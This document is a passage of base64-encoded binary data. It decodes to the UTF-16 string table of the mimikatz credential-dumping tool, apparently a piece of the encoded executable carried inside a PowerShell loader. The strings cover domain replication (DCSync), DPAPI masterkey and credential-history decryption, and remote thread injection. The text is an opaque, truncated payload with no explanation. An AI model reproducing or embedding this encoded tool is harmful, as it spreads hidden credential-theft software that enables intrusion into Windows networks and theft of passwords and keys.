AAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAVABoACAAQAAgACUAcAAKAEQAYQAgAEAAIAAlAHAACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAFEAdQBlAHIAeQBDAG8AbgB0AGUAeAB0AEEAdAB0AHIAaQBiAHUAdABlAHMAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABJAF8AUgBwAGMAQgBpAG4AZABpAG4AZwBJAG4AcQBTAGUAYwB1AHIAaQB0AHkAQwBvAG4AdABlAHgAdAAgACUAMAA4AHgACgAAAAAAAAAAAG4AYwBhAGMAbgBfAGkAcABfAHQAYwBwAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABPAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABBAHUAdABoAEkAbgBmAG8ARQB4ADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAE4AbwAgAEIAaQBuAGQAaQBuAGcAIQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwBDAG8AbQBwAG8AcwBlADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAEQAQwAgACcAJQBzACcAIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAYgBhAGQAIAB2AGUAcgBzAGkAbwBuACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAgACgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAE4AbwAgAEQAUgBTACAARQB4AHQAZQBuAHMAaQBvAG4AcwAgAE8AdQB0AHAAdQB0AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBEAEwAXwBEAFIAUwBCAGkAbgBkADoAIAAlAHUACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAE4ATwBfAEUAUgBSAE8AUgAAAAAAAAAAAEUAUgBSAE8AUgBfAFIARQBTAE8ATABWAEkATgBHAAAARQBSAFIATwBSAF8ATgBPAFQAXwBGAE8AVQBOAEQAAABFAFIAUgBPAFIAXwBOAE8AVABfAFUATgBJAFEAVQBFAAAAAAAAAAAARQBSAFIATwBSAF8ATgBPAF8ATQBBAFAAUABJAE4ARwAAAAAAAAAAAEUAUgBSAE8AUgBfAEQATwBNAEEASQBOAF8ATwBOAEwAWQAAAAAAAABFAFIAUgBPAFIAXwBOAE8AXwBTAFkATgBUAEEAQwBUAEkAQwBBAEwAXwBNAEEAUABQAEkATgBHAAAAAAAAAAAARQBSAFIATwBSAF8AVABSAFUAUwBUAF8AUgBFAEYARQBSAFIAQQBMAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzACAAKABuAGEAbQBlACAAcwB0AGEAdAB1AHMAKQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApACAALQAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAbgBvACAAaQB0AGUAbQAhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABDAGgAZQBjAGsAcwB1AG0AcwAgAGQAbwBuACcAdAAgAG0AYQB0AGMAaAAgACgAQwA6ADAAeAAlADAAOAB4ACAALQAgAFIAOgAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AbwAgAHYAYQBsAGkAZAAgAGQAYQB0AGEACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AbwAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8AQwBSAEEAQwBLAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAbgBhAG0AZQBDAHIAYQBjAGsATwB1AHQAVgBlAHIAcwBpAG8AbgAgAG4AbwB0ACAAdgBhAGwAaQBkACAAKAAwAHgAJQAwADgAeAAgAC0AIAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZABjAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZAB3AE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAFMAZQByAHYAaQBjAGUAcwBBAGMAdABpAHYAZQAAAAAAJQAwADIAeAAAAAAAAAAAACUAMAAyAHgAIAAAAAAAAAAwAHgAJQAwADIAeAAsACAAAAAAAAAAAABcAHgAJQAwADIAeAAAAAAACgBCAFkAVABFACAAZABhAHQAYQBbAF0AIAA9ACAAewAKAAkAAAAAAAkAAAAAAAAACgB9ADsACgAAAAAAAAAAACUAcwAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AZABpAHMAcABsAGEAeQBTAEkARAAgADsAIABDAG8AbgB2AGUAcgB0AFMAaQBkAFQAbwBTAHQAcgBpAG4AZwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAVABvAGsAZQBuAAAAAAAAAAAAAAAAAAAACgAgACAALgAjACMAIwAjACMALgAgACAAIABtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMAAgAGEAbABwAGgAYQAgACgAeAA2ADQAKQAgAHIAZQBsAGUAYQBzAGUAIAAiAEsAaQB3AGkAIABlAG4AIABDACIAIAAoAEQAZQBjACAAMQA0ACAAMgAwADEANQAgADEAOQA6ADEANgA6ADMANAApAAoAIAAuACMAIwAgAF4AIAAjACMALgAgACAACgAgACMAIwAgAC8AIABcACAAIwAjACAAIAAvACoAIAAqACAAKgAKACAAIwAjACAAXAAgAC8AIAAjACMAIAAgACAAQgBlAG4AagBhAG0AaQBuACAARABFAEwAUABZACAAYABnAGUAbgB0AGkAbABrAGkAdwBpAGAAIAAoACAAYgBlAG4AagBhAG0AaQBuAEAAZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtACAAKQAKACAAJwAjACMAIAB2ACAAIwAjACcAIAAgACAAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtAC8AbQBpAG0AaQBrAGEAdAB6ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABvAGUALgBlAG8AKQAKACAAIAAnACMAIwAjACMAIwAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBpAHQAaAAgACUAMgB1ACAAbQBvAGQAdQBsAGUAcwAgACoAIAAqACAAKgAvAAoACgAAAAAACgBtAGkAbQBpAGsAYQB0AHoAKABwAG8AdwBlAHIAcwBoAGUAbABsACkAIAAjACAAJQBzAAoAAABJAE4ASQBUAAAAAAAAAAAAQwBMAEUAQQBOAAAAAAAAAD4APgA+ACAAJQBzACAAbwBmACAAJwAlAHMAJwAgAG0AbwBkAHUAbABlACAAZgBhAGkAbABlAGQAIAA6ACAAJQAwADgAeAAKAAAAAAA6ADoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAAAAAACgAlADEANgBzAAAAAAAAACAAIAAtACAAIAAlAHMAAAAgACAAWwAlAHMAXQAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBkAG8ATABvAGMAYQBsACAAOwAgACIAJQBzACIAIABjAG8AbQBtAGEAbgBkACAAbwBmACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAAAAAACgBNAG8AZAB1AGwAZQAgADoACQAlAHMAAAAAAAAAAAAKAEYAdQBsAGwAIABuAGEAbQBlACAAOgAJACUAcwAAAAoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAJACUAcwAAAAAAAABiAGwAbwBiAAAAAAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAEQAUABBAFAASQAgAGIAbABvAGIALAAgAHUAbgBwAHIAbwB0AGUAYwB0ACAAaQB0ACAAdwBpAHQAaAAgAEEAUABJACAAbwByACAATQBhAHMAdABlAHIAawBlAHkAAAAAAAAAcAByAG8AdABlAGMAdAAAAAAAAAAAAAAAUAByAG8AdABlAGMAdAAgAGEAIABkAGEAdABhACAAdgBpAGEAIABhACAARABQAEEAUABJACAAYwBhAGwAbAAAAG0AYQBzAHQAZQByAGsAZQB5AAAAAAAAAAAAAAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAE0AYQBzAHQAZQByAGsAZQB5ACAAZgBpAGwAZQAsACAAdQBuAHAAcgBvAHQAZQBjAHQAIABlAGEAYwBoACAATQBhAHMAdABlAHIAawBlAHkAIAAoAGsAZQB5ACAAZABlAHAAZQBuAGQAaQBuAGcAKQAAAGMAcgBlAGQAaABpAHMAdAAAAAAAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABDAHIAZQBkAGgAaQBzAHQAIABmAGkAbABlAAAAAAAAAAAAYwBhAHAAaQAAAAAAAAAAAEMAQQBQAEkAIABrAGUAeQAgAHQAZQBzAHQAAAAAAAAAYwBuAGcAAABDAE4ARwAgAGsAZQB5ACAAdABlAHMAdAAAAAAAAAAAAGMAcgBlAGQAAAAAAAAAAABDAFIARQBEACAAdABlAHMAdAAAAAAAAAB2AGEAdQBsAHQAAAAAAAAAVgBBAFUATABUACAAdABlAHMAdAAAAAAAYwBhAGMAaABlAAAAAAAAAGQAcABhAHAAaQAAAAAAAABEAFAAQQBQAEkAIABNAG8AZAB1AGwAZQAgACgAYgB5ACAAQQBQAEkAIABvAHIAIABSAEEAVwAgAGEAYwBjAGUAcwBzACkAAAAAAAAAAAAAAEQAYQB0AGEAIABQAHIAbwB0AGUAYwB0AGkAbwBuACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuACAAcAByAG8AZwByAGEAbQBtAGkAbgBnACAAaQBuAHQAZQByAGYAYQBjAGUAAABpAG4AAAAAAAAAAABkAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA6ACAAJQBzAAoAAAAAAAAAbwB1AHQAAABXAHIAaQB0AGUAIAB0AG8AIABmAGkAbABlACAAJwAlAHMAJwAgAGkAcwAgAE8ASwAKAAAAAAAAAGQAYQB0AGEAIAAtACAAAAB0AGUAeAB0ACAAOgAgACUAcwAAAAAAAABoAGUAeAAgACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAbQBpAG0AaQBrAGEAdAB6AAAAAAAAAAAAZABhAHQAYQAAAAAAAAAAAGQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAGUAbgB0AHIAbwBwAHkAAABtAGEAYwBoAGkAbgBlAAAAcAByAG8AbQBwAHQAAAAAAGMAAAAAAAAACgBkAGEAdABhACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGYAbABhAGcAcwAgACAAIAAgACAAIAAgADoAIAAAAAAAcAByAG8AbQBwAHQAIABmAGwAYQBnAHMAOgAgAAAAAABlAG4AdAByAG8AcAB5ACAAIAAgACAAIAA6ACAAAAAAAEIAbABvAGIAOgAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcAByAG8AdABlAGMAdAAgADsAIABDAHIAeQBwAHQAUAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABwAHIAbwB0AGUAYwB0AGUAZAAAAAAAAABzAGkAZAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAaABhAHMAaAAAAAAAAAAAAHMAeQBzAHQAZQBtAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAATgBvACAAcwB1AGkAdABhAGIAbABlACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIABjAGEAYwBoAGUACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AIAAoAG0AYQBjAGgAaQBuAGUALAAgAHQAaABlAG4AIAB1AHMAZQByACkAOgAgAAAAAAAAACoAKgAgAE0AQQBDAEgASQBOAEUAIAAqACoACgAAAAAAKgAqACAAVQBTAEUAUgAgACoAKgAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5AAoAAAAAAAAAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAEQAUABBAFAASQBfAFMAWQBTAFQARQBNADoAIAAAAAAAAAAAAHAAYQBzAHMAdwBvAHIAZAAAAAAAAAAAAG4AbwByAG0AYQBsAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABwAGEAcwBzAHcAbwByAGQAOgAgACUAcwAgACgAJQBzACAAdQBzAGUAcgApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBwAGEAcwBzAHcAbwByAGQACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAaABhAHMAaAA6ACAAAAAAAAAAAAAgACgAbgB0AGwAbQAgAHQAeQBwAGUAKQAKAAAAAAAAACAAKABzAGgAYQAxACAAdAB5AHAAZQApAAoAAAAAAAAAIAAoAD8AKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AdQBzAGUAcgBIAGEAcwBoAAoAAAAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkACgAAAAAAAABwAHYAawAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAFIAUwBBACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABJAG4AcAB1AHQAIABtAGEAcwB0AGUAcgBrAGUAeQBzACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABzAGgAYQAxAAAAAAAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAAAAAAAAAAAAAKACAAIABbAGUAbgB0AHIAeQAgACUAdQBdACAAdwBpAHQAaAAgAFMASABBADEAIABhAG4AZAAgAFMASQBEADoAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZABoAGkAcwB0ACAAOwAgAEkAbgBwAHUAdAAgAGMAcgBlAGQAaABpAHMAdAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAAAAAAHUAbgBwAHIAbwB0AGUAYwB0AAAAAAAAACAAKgAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAgACoAIABtAGEAcwB0AGUAcgBrAGUAeQAgACAAIAAgACAAOgAgAAAAIAA+ACAAcAByAG8AbQBwAHQAIABmAGwAYQBnAHMAIAAgADoAIAAAACAAPgAgAGUAbgB0AHIAbwBwAHkAIAAgACAAIAAgACAAIAA6ACAAAAAgAD4AIABwAGEAcwBzAHcAbwByAGQAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAX